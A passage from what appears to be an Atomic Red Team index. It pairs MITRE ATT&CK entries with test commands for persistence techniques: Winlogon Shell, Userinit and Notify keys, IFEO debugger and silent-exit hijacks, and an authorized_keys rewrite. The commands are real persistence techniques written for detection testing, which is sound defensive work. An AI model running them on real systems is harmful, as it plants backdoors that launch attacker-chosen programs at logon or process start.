      - Praetorian
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.

        Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      type: attack-pattern
      id: attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35
      created: '2020-01-24T16:59:59.688Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/004
        external_id: T1547.004
      - source_name: Cylance Reg Persistence Sept 2013
        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
        url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.004
    atomic_tests:
    - name: Winlogon Shell Key Persistence - PowerShell
      auto_generated_guid: bf9f9d65-ee4d-4c3e-a843-777d04f19c38
      description: |
        PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

        Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of binary to execute
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
          "Shell" "explorer.exe, #{binary_to_execute}" -Force

          '
        cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows
          NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Winlogon Userinit Key Persistence - PowerShell
      auto_generated_guid: fb32c935-ee2e-454b-8fa3-1c46b42e8dfb
      description: |
        PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

        Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of binary to execute
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
          "Userinit" "Userinit.exe, #{binary_to_execute}" -Force

          '
        cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows
          NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Winlogon Notify Key Logon Persistence - PowerShell
      auto_generated_guid: d40da266-e073-4e5a-bb8b-2b385023e5f9
      description: |
        PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.

        Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon.

        Please note that Winlogon Notifications have been removed as of Windows Vista / Windows Server 2008 and that this test thus only applies to erlier versions of Windows.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of notification package to execute
          type: path
          default: C:\Windows\Temp\atomicNotificationPackage.dll
        function_to_execute:
          description: Function in notification package to execute
          type: string
          default: AtomicTestFunction
      executor:
        command: |
          New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" -Force
          Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "DllName" "#{binary_to_execute}" -Type ExpandString -Force
          Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Logon" "#{function_to_execute}" -Force
          Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Impersonate" 1 -Type DWord -Force
          Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Asynchronous" 0 -Type DWord -Force
        cleanup_command: 'Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
          -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Winlogon HKLM Shell Key Persistence - PowerShell
      auto_generated_guid: 95a3c42f-8c88-4952-ad60-13b81d929a9d
      description: |
        PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

        Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of binary to execute
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
          "Shell" "explorer.exe, #{binary_to_execute}" -Force

          '
        cleanup_command: 'Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows
          NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Winlogon HKLM Userinit Key Persistence - PowerShell
      auto_generated_guid: f9b8daff-8fa7-4e6a-a1a7-7c14675a545b
      description: |
        PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

        Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of binary to execute
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
          "Userinit" "Userinit.exe, #{binary_to_execute}" -Force

          '
        cleanup_command: 'Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows
          NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore

          '
        name: powershell
  T1098.004:
    technique:
      modified: '2023-10-03T17:38:21.121Z'
      name: SSH Authorized Keys
      description: "Adversaries may modify the SSH <code>authorized_keys</code> file
        to maintain persistence on a victim host. Linux distributions and macOS commonly
        use key-based authentication to secure the authentication process of SSH sessions
        for remote management. The <code>authorized_keys</code> file in SSH specifies
        the SSH keys that can be used for logging into the user account for which
        the file is configured. This file is usually found in the user's home directory
        under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized
        Keys) Users may edit the system’s SSH config file to modify the directives
        PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public
        key and RSA authentication are enabled. The SSH config file is usually located
        under <code>/etc/ssh/sshd_config</code>.\n\nAdversaries may modify SSH <code>authorized_keys</code>
        files directly with scripts or shell commands to add their own adversary-supplied
        public keys. In cloud environments, adversaries may be able to modify the
        SSH authorized_keys file of a particular virtual machine via the command line
        interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata”
        command an adversary may add SSH keys to a user account.(Citation: Google
        Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly,
        in Azure, an adversary may update the authorized_keys file of a virtual machine
        via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This
        ensures that an adversary possessing the corresponding private key may log
        in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation:
        Cybereason Linux Exim Worm) It may also lead to privilege escalation where
        the virtual machine or instance has distinct permissions from the requesting
        user.\n\nWhere authorized_keys files are modified via cloud APIs or command
        line interfaces, an adversary may achieve privilege escalation on the target
        virtual machine if they add a key to a higher-privileged user. \n\nSSH keys
        can also be added to accounts on network devices, such as with the `ip ssh
        pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
        command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Tony Lambert, Red Canary
      - Dror Alon, Palo Alto Networks
      - Or Kliger, Palo Alto Networks
      - Austin Clark, @c2defense
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Use file integrity monitoring to detect changes made to the <code>authorized_keys</code> file for each user on a system. Monitor for suspicious processes modifying the <code>authorized_keys</code> file. In cloud environments, monitor instances for modification of metadata and configurations.

        Monitor for changes to and suspicious processes modifiying <code>/etc/ssh/sshd_config</code>.

        For network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - IaaS
      - Network
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Modification'
      type: attack-pattern
      id: attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4
      created: '2020-06-24T12:42:35.144Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098/004
        external_id: T1098.004
      - source_name: Venafi SSH Key Abuse
        description: 'Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity
          Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24,
          2020.'
        url: https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities
      - source_name: Google Cloud Privilege Escalation
        description: Chris Moberly. (2020, February 12). Tutorial on privilege escalation
          and post exploitation tactics in Google Cloud Platform environments. Retrieved
          April 1, 2022.
        url: https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/
      - source_name: cisco_ip_ssh_pubkey_ch_cmd
        description: Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July
          13, 2022.
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478
      - source_name: Cybereason Linux Exim Worm
        description: Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting
          Linux Exim Server Vulnerability. Retrieved June 24, 2020.
        url: https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability
      - source_name: Google Cloud Add Metadata
        description: Google Cloud. (2022, March 31). gcloud compute instances add-metadata.
          Retrieved April 1, 2022.
        url: https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata
      - source_name: Azure Update Virtual Machines
        description: Microsoft. (n.d.). Virtual Machines - Update. Retrieved April
          1, 2022.
        url: https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update
      - source_name: SSH Authorized Keys
        description: ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June
          24, 2020.
        url: https://www.ssh.com/ssh/authorized_keys/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1098.004
    atomic_tests:
    - name: Modify SSH Authorized Keys
      auto_generated_guid: 342cc723-127c-4d3a-8292-9c0c6b4ecadc
      description: "Modify contents of <user-home>/.ssh/authorized_keys to maintain
        persistence on victim host. \nIf the user is able to save the same contents
        in the authorized_keys file, it shows user can modify the file.\n"
      supported_platforms:
      - linux
      - macos
      executor:
        name: sh
        elevation_required: false
        command: 'if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat
          ~/.ssh/authorized_keys); echo "$ssh_authorized_keys" > ~/.ssh/authorized_keys;
          fi;

          '
        cleanup_command: 'unset ssh_authorized_keys

          '
  T1546.012:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Oddvar Moe, @oddvarmoe
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6
      type: attack-pattern
      created: '2020-01-24T15:05:58.384Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1546.012
        url: https://attack.mitre.org/techniques/T1546/012
      - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
        description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO).
          Retrieved December 18, 2017.
        source_name: Microsoft Dev Blog IFEO Mar 2010
      - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
        description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December
          18, 2017.
        source_name: Microsoft GFlags Mar 2017
      - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
        description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent
          Process Exit. Retrieved June 27, 2018.
        source_name: Microsoft Silent Process Exit NOV 2017
      - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
        description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image
          File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.
        source_name: Oddvar Moe IFEO APR 2018
      - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
          Retrieved November 12, 2014.
        source_name: Tilbury 2014
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
        description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description.
          Retrieved December 18, 2017.
        source_name: FSecure Hupigon
      - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2
        description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December
          18, 2017.
        source_name: Symantec Ushedix June 2008
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Event Triggered Execution: Image File Execution Options Injection'
      description: |-
        Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., <code>C:\dbg\ntsd.exe -g  notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)

        IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

        IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

        Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

        Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

        Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)

        Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1546.012
    atomic_tests:
    - name: IFEO Add Debugger
      auto_generated_guid: fdda2626-5234-4c90-b163-60849a24c0b8
      description: 'Leverage Global Flags Settings

        '
      supported_platforms:
      - windows
      input_arguments:
        target_binary:
          description: Binary To Attach To
          type: path
          default: calc.exe
        payload_binary:
          description: Binary To Execute
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
          File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"

          '
        cleanup_command: 'reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
          NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger
          /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: IFEO Global Flags
      auto_generated_guid: 46b1f278-c8ee-4aa5-acce-65e77b11f3c1
      description: 'Leverage Global Flags Settings

        '
      supported_platforms:
      - windows
      input_arguments:
        target_binary:
          description: Binary To Attach To
          type: path
          default: notepad.exe
        payload_binary:
          description: Binary To Execute
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"
        cleanup_command: |
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: GlobalFlags in Image File Execution Options
      auto_generated_guid: 13117939-c9b2-4a43-999e-0a543df92f0d
      description: "The following Atomic Test will create a GlobalFlag key under Image
        File Execution Options, also a SilentProcessExit Key with ReportingMode and
        MonitorProcess values. This test is similar to a recent CanaryToken that will
        generate an EventCode 3000 in the Application log when a command, whoami.exe
        for example, is executed.\nUpon running Whoami.exe, a command shell will spawn
        and start calc.exe based on the MonitorProcess value. \nUpon successful execution,
        powershell will modify the registry and spawn calc.exe. An event 3000 will
        generate in the Application log.\n"
      supported_platforms:
      - windows
      input_arguments:
        process:
          description: 'Process to monitor

            '
          type: string
          default: whoami.exe
        cmd_to_run:
          description: 'Command to execute

            '
          type: string
          default: cmd.exe /c calc.exe
      executor:
        command: "$Name = \"GlobalFlag\"\n$Value = \"512\"\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows
          NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nNew-Item
          -Path $registryPath -Force\nNew-ItemProperty -Path $registryPath -Name $Name
          -Value $Value -PropertyType DWord -Force\n$Name = \"ReportingMode\"\n$Value
          = \"1\"\n$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\"\nNew-Item
          -Path $SilentProcessExit -Force\nNew-ItemProperty -Path $SilentProcessExit
          -Name $Name -Value $Value -PropertyType DWord -Force \n\n$Name = \"MonitorProcess\"\n$Value
          = \"#{cmd_to_run}\"\nNew-ItemProperty -Path $SilentProcessExit -Name $Name
          -Value $Value -PropertyType String -Force\nStart-Process whoami.exe\n"
        cleanup_command: "$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows
          NT\\CurrentVersion\\SilentProcessExit\\#{process}\" \nRemove-Item $SilentProcessExit
          -force\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image
          File Execution Options\\#{process}\"\nRemove-Item $registryPath -force\n"
        name: powershell
        elevation_required: true
  T1548.005:
    technique:
      modified: '2024-03-28T15:30:09.313Z'
      name: Temporary Elevated Cloud Access
      description: "Adversaries may abuse permission configurations that allow them
        to gain temporarily elevated access to cloud resources. Many cloud environments
        allow administrators to grant user or service accounts permission to request
        just-in-time access to roles, impersonate other accounts, pass roles onto
        resources and services, or otherwise gain short-term access to a set of privileges
        that may be distinct from their own. \n\nJust-in-time access is a mechanism
        for granting additional roles to cloud accounts in a granular, temporary manner.
        This allows accounts to operate with only the permissions they need on a daily
        basis, and to request additional permissions as necessary. Sometimes just-in-time
        access requests are configured to require manual approval, while other times
        the desired permissions are automatically granted.(Citation: Azure Just in
        Time Access 2023)\n\nAccount impersonation allows user or service accounts
        to temporarily act with the permissions of another account. For example, in
        GCP users with the `iam.serviceAccountTokenCreator` role can create temporary
        access tokens or sign arbitrary payloads with the permissions of a service
        account, while service accounts with domain-wide delegation permission are
        permitted to impersonate Google Workspace accounts.(Citation: Google Cloud
        Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation
        Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation:
        Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange
        Online, the `ApplicationImpersonation` role allows a service account to use
        the permissions associated with specified user accounts.(Citation: Microsoft
        Impersonation and EWS in Exchange) \n\nMany cloud environments also include
        mechanisms for users to pass roles to resources that allow them to perform
        tasks and authenticate to other services. While the user that creates the
        resource does not directly assume the role they pass to it, they may still
        be able to take advantage of the role's access -- for example, by configuring
        the resource to perform certain actions with the permissions it has been granted.
        In AWS, users with the `PassRole` permission can allow a service they create
        to assume a given role, while in GCP, users with the `iam.serviceAccountUser`
        role can attach a service account to a resource.(Citation: AWS PassRole)(Citation:
        Google Cloud Service Account Authentication Roles)\n\nWhile users require
        specific role assignments in order to use any of these features, cloud administrators
        may misconfigure permissions. This could result in escalation paths that allow
        adversaries to gain access to resources beyond what was originally intended.(Citation:
        Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS
        Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional
        Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves
        assigning permanent roles to accounts rather than abusing existing permissions
        structures to gain temporarily elevated access to resources. However, adversaries
        that compromise a sufficiently privileged account may grant another account
        they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)
        that would allow them to also abuse these features. This may also allow for
        greater stealth than would be had by directly using the highly privileged
        account, especially when logs do not clarify when role impersonation is taking
        place.(Citation: CrowdStrike StellarParticle January 2022)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - IaaS
      - Azure AD
      - Office 365
      - Google Workspace
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--6fa224c7-5091-4595-bf15-3fc9fe2f2c7c
      created: '2023-07-10T16:37:15.672Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1548/005
        external_id: T1548.005
      - source_name: AWS PassRole
        description: AWS. (n.d.). Granting a user permissions to pass a role to an
          AWS service. Retrieved July 10, 2023.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html
      - source_name: CrowdStrike StellarParticle January 2022
        description: 'CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole:
          Observations from the StellarParticle Campaign. Retrieved February 7, 2022.'
        url: https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/
      - source_name: Google Cloud Just in Time Access 2023
        description: Google Cloud. (n.d.). Manage just-in-time privileged access to
          projects. Retrieved September 21, 2023.
        url: https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project
      - source_name: Google Cloud Service Account Authentication Roles
        description: Google Cloud. (n.d.). Roles for service account authentication.
          Retrieved July 10, 2023.
        url: https://cloud.google.com/iam/docs/service-account-permissions
      - source_name: Microsoft Impersonation and EWS in Exchange
        description: Microsoft. (2022, September 13). Impersonation and EWS in Exchange.
          Retrieved July 10, 2023.
        url: https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange
      - source_name: Azure Just in Time Access 2023
        description: Microsoft. (2023, August 29). Configure and approve just-in-time
          access for Azure Managed Applications. Retrieved September 21, 2023.
        url: https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access
      - source_name: Rhino Security Labs AWS Privilege Escalation
        description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods
          and Mitigation. Retrieved May 27, 2022.
        url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
      - source_name: Rhino Google Cloud Privilege Escalation
        description: Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud
          Platform – Part 1 (IAM). Retrieved September 21, 2023.
        url: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
      - source_name: Hunters Domain Wide Delegation Google Workspace 2023
        description: 'Yonatan Khanashvilli. (2023, November 28). DeleFriend: Severe
          design flaw in Domain Wide Delegation could leave Google Workspace vulnerable
          for takeover. Retrieved January 16, 2024.'
        url: https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover
      - source_name: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023
        description: Zohar Zigdon. (2023, November 30). Exploring a Critical Risk
          in Google Workspace's Domain-Wide Delegation Feature. Retrieved January
          16, 2024.
        url: https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1055.013:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197
      type: attack-pattern
      created: '2020-01-14T17:19:50.978Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.013
        url: https://attack.mitre.org/techniques/T1055/013
      - url: https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
        description: Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December
          20, 2017.
        source_name: Microsoft TxF
      - url: https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
        description: Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20,
          2017.
        source_name: Microsoft Basic TxF Concepts
